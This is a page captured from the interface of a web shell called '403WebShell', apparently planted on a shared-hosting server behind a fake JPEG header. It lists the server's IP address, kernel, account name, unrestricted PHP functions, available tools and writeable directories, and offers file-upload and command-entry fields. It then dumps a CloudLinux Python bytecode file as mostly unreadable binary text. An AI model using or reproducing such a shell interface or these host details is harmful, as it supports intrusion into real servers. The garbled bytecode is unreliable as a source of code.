ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.29
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/cllimits/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/cllimits/lib/__pycache__/utils.cpython-311.pyc
�

�8i�!��<�ddlZddlZddlZddlZddlmZddlmZmZddl	m
Z
mZddlm
Z
dZdZGd�d	e
��Zd
efd�Zded
efd
�Zded
eefd�Zdeded
efd�Zded
eefd�Zded
eefd�Zd�Zd�Zd�Zd d�Zd!d�Zd!d�Z d�Z!d�Z"dS)"�N)�Optional)�run_command�ExternalProgramFailed)�memory_to_page�page_to_memory)�FormattedExceptionzAvailable values for optionz"/etc/sysconfig/limits_lower_boundsc��eZdZdS)�LowerBoundsConfigExceptionN)�__name__�
__module__�__qualname__���I/opt/cloudlinux/venv/lib64/python3.11/site-packages/cllimits/lib/utils.pyr
r
s�������Drr
�returnc�(�tj�t��siSi}	t	tdd���5}|D]s}|���}|r[d|vrW|�d��sB|�dd��\}}|���||���<�t	ddd��n#1swxYwYnA#ttf$r-}tdtt|��d	�d
���|�d}~wwxYw|S)z�
    Read all lower bounds from config file
    Returns dict with lower bound names as keys and values as strings
    :raises LowerBoundsConfigException: If file exists but cannot be read
    �r�utf-8��encoding�=�#�NzlFailed to read limits' lower bounds configuration from %(file)s. The file may be corrupted. Error: %(error)s)�file�error��message�context)�os�path�exists� _LIMITS_LOWER_BOUNDS_CONFIG_FILE�open�strip�
startswith�split�OSError�IOErrorr
�str)�lower_bounds�f�line�key�value�es      r�_read_lower_bounds_configr0ss���7�>�>�:�;�;���	��L��
�2�C�'�
J�
J�
J�	>�a��
>�
>���z�z�|�|���>�C�4�K�K�����0D�0D�K�!%���C��!3�!3�J�C��05���
�
�L������-��	
>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>����	>�	>�	>�	>���
�W�����(�E�9��Q�����*
�*
����	����������s<�C�A7C�9C�C	�	C�C	�
C�D�"(D
�
Dr*c���	tjtj�t��d���ttdd���5}|�d��|�d��t|�����D] \}}|�|�d|�d	����!	d
d
d
��n#1swxYwYdS#ttf$rYdSwxYw)z+
    Write lower bounds to config file
    T)�exist_ok�wrrz(# CloudLinux lower bounds configuration
z# Format: RESOURCE_TYPE=value

r�
NF)r�makedirsr �dirnamer"r#�write�sorted�itemsr'r()r*r+r-r.s    r�_write_lower_bounds_configr:6s:��	�
��B�G�O�O�$D�E�E�PT�U�U�U�U�
�2�C�'�
J�
J�
J�	,�a�
�G�G�?�@�@�@�
�G�G�7�8�8�8�$�\�%7�%7�%9�%9�:�:�
,�
,�
��U����3�*�*��*�*�*�+�+�+�+�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,�
�t���W������u�u����s7�AC�A-C�?C�C�C�C�C�C-�,C-�
resource_typec��t��}|�|�����}|rt|��SdS)z�
    Read lower bound for any resource type from config file
    Returns lower bound in pages or None if not set

    :param resource_type: Type of resource (e.g., 'PMEM', 'VMEM')
    :raises LowerBoundsConfigException: If config file is corrupted
    N)r0�get�upperr)r;r*�	limit_strs   r�read_lower_boundr@FsI��-�.�.�L�� � ��!4�!4�!6�!6�7�7�I��)��i�(�(�(��4r�bound_valuec�j�t��}|||���<t|��S)a
    Write lower bound for any resource type to config file

    :param resource_type: Type of resource (e.g., 'PMEM', 'VMEM')
    :param bound_value: Lower bound value as string (e.g., '512M', '1G')
    :raises LowerBoundsConfigException: If config file is corrupted
    )r0r>r:)r;rAr*s   r�write_lower_boundrCUs3��-�.�.�L�*5�L��$�$�&�&�'�%�l�3�3�3r�
pmem_pagesc��	td��}n&#t$r}|j|jd�cYd}~Sd}~wwxYw|�"|dkr||krt	|��}dd|id�SdS)z�
    Check if PMEM value is below configured lower bound and return error
    :param pmem_pages: PMEM value in pages
    :return: Error dict with 'message' and 'context' or None
    �PMEMrNrzwPMEM limit is below configured lower bound of %(bound)s. This may cause application instability and performance issues.�bound)r@r
rrr)rD�lower_bound_pagesr/�lower_bounds    r�check_pmem_lower_boundrJbs���<�,�V�4�4����%�<�<�<��9���;�;�;�;�;�;�;�;�����<�����$��q���Z�J[�=[�=[�$�%6�7�7��Q� ��-�
�
�	
��4s��
5�0�5�5�
pmem_valuec�F�t|��}|�t|��SdS)z�
    Check if PMEM value (as string) is below configured lower bound and return error
    :param pmem_value: PMEM value as string (e.g., "5m", "512M", etc.)
    :return: Error dict with 'message' and 'context' or None
    N)rrJ)rKrDs  r�"check_pmem_lower_bound_from_stringrMzs*�� �
�+�+�J���%�j�1�1�1��4rc��|�d��r#|�dd��\}}d|zd|id�S|�t��r5|�dd��\}}|dzd	|���id�Sd
|iS)zu
    Replacing params in data for show error message
    :param data: error's data for show message
    :return:
    z--� rz
%(param)s �param)�resultr�:z: %(available_options)s�available_optionsrQ)r%r&�
VALUES_STRr$)�datarP�texts   r�replace_paramsrW�s������t���L��j�j��a�(�(���t�&��-�7�E�:J�K�K�K����z�"�"�A��j�j��a�(�(���e��!:�:�/������?�A�A�	A�
�d��rc�H�	t|��dS#t$rYdSwxYw)z�
    Checks is string contains a number (integer or float)
    :param s_val: String to check
    :return: True - string is number, False - not number
    TF)�float�
ValueError)�s_vals r�_is_string_numberr\�s9���
�e�����t�������u�u����s��
!�!c�t�t|�����}|�d��rd}nV|�d��rd}n>|�d��rd}n&t|��rd}|�d�}nt	d���td|zt
|d	d
���z��S)zs
    Convert value in Gbytes,Mbytes to bytes

    :param value: value of mem limit
    :return: value in bytes
    �kr�m��g�zWrong memory value�N���)r)�lower�endswithr\rZ�intrY)r.�powers  r�convert_mem_value_to_bytesri�s���
��J�J�����E��~�~�c���
/����	����	�	�/����	����	�	�/����	�5�	!�	!�/����������-�.�.�.��t�u�}�u�U�3�B�3�Z�0�0�0�1�1�1rTc���|s|St|�����}gd�}|�d��r|d=t|������dd���dd��}|�d��rd}|�dd��}nd}t|��}|D]'}|dzdkr|dz}�|dkr|�d�}n
|�|d	�|��}|S)
z�
    Convert memory value to adaptive value in GB, TB, etc

    :param value: memory value in MB or KB
    :param convert: if True - convert value, False - not convert
    :return: adaptive value in GB, TB, etc

    )�K�M�G�T�Pr_r�r^�*rc�0Kz.2f)r)rerf�replacer%rY)r.�convert�unitsrQ�units     r�(_convert_memory_value_to_adaptive_formatrw�s'��������J�J�����E�%�%�%�E��~�~�c�����!�H���J�J�����&�&�s�B�/�/�7�7��R�@�@�E�����������
�
�c�2�&�&������%�L�L�E������D�=�1����T�M�E�E�
�a�Z�Z��]�]�]�F��E��1��1�1�4�1�1�F���MrFc�r�|r%ttj|d�����dSt|��dS)z�
    Print specified dictionary
    :param data_dict: data dictionary to print
    :param is_json: True - print in JSON, False - in text
    :return: None
    T)�	sort_keysN)�print�json�dumps)�	data_dict�is_jsons  r�print_dictionaryr�sE����
�d�j��d�3�3�3�4�4�4�4�4�	�i�����rc��tj��t|��d�}t||��tjd��dS)za
    Prints to stdout
    :param: is_json - True if print error in json format, False - text
    )�	timestamprQrN)�timer)r�sys�exit)rr~rUs   r�print_error_and_exitr��s>��
�����G���=�=�D��T�7�#�#�#��H�Q�K�K�K�K�Krc��tj�|��rtj�|��sdSdS)z\
    Detect quota is supported
    :return: True/False - quotas supported/not supported
    FT)rr �isfile)�
cl_quota_path�
repquota_paths  r�is_quota_supportedr��s9���7�>�>�-�(�(������}�0M�0M���u��4rc�~�t||��sdS|dg}	t|��}n#t$rYdSwxYw|sdSdS)z\
    Detect quota is activated
    :return: True/False - quotas activated/not activated
    Fz-nvaT)r�rr)r�r��cmd�stdouts    r�is_quota_activer�so���m�]�;�;���u��&�
!�C���S�!�!���� �����u�u��������u��4s�(�
6�6)T)F)#r{rr�r��typingr�clcommon.utilsrr�clcommon.clfuncrr�clcommon.clexceptionrrTr"r
�dictr0�boolr:r)rgr@rCrJrMrWr\rirwrr�r�r�rrr�<module>r�s������	�	�	�	�
�
�
�
�����������=�=�=�=�=�=�=�=�:�:�:�:�:�:�:�:�3�3�3�3�3�3�
*�
�#G� �	�	�	�	�	�!3�	�	�	��4�����<
�T�
�d�
�
�
�
� �C��H�S�M�����
4�S�
4�s�
4�t�
4�
4�
4�
4��s��x��~�����0	�3�	�8�D�>�	�	�	�	����$
�
�
�2�2�2�,$�$�$�$�N����"�����������r

Youez - 2016 - github.com/yon3zu
LinuXploit